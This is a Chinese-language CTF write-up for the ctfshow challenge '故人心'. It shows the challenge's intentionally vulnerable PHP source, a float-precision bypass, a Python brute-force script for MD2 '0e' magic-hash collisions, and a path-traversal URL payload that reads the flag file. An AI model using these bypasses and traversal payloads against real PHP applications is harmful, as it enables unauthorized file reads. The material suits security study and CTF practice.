故人心
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一层过滤,利用PHP精度,当一个极小数平方超过PHP浮点数最大表示小数点位数时,PHP判定为0:
$a = e-200
第二层就要爆很久,用的是md2碰撞,后来题目放了hint,得知已知位数后,很快就爆出来了。师兄脚本:
from Crypto.Hash import MD2
# payload = "QWERTYUIOPASDFGHJKLZXCVBNM"
# payload = "qwertyuiopasdfghjklzxcvbnm"
payload = "0123456789"
# payload = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789"
def calc_hash(s):
hash_value = MD2.new('0e' + s + '024452').hexdigest()
# hash_value = MD2.new(MD2.new('0e' + s + '48399').hexdigest()).hexdigest()
if hash_value[0:2] == '0e' and hash_value[2:32].isdigit():
print(s, hash_value)
def getStr(payload, s, slen):
if len(s) == slen:
# Custom string
calc_hash(s)
return s
for j in range(len(payload)):
sl = s + payload[j]
getStr(payload, sl, slen)
if __name__ == '__main__':
getStr(payload, '', 3) # b
# getStr(payload, '', 4) # c
url=0://ctfshow.com/../../../../../../fl0g.txt
提交以后,会先识别ctfshow.com为有意义的网址,绕过第一层,接着符合正则匹配。在PHP中,向目标请求时会先判断使用的协议,如果协议无法识别,就默认为是个目录,这样就可以通过目录穿越读到f10g.txt
Last updated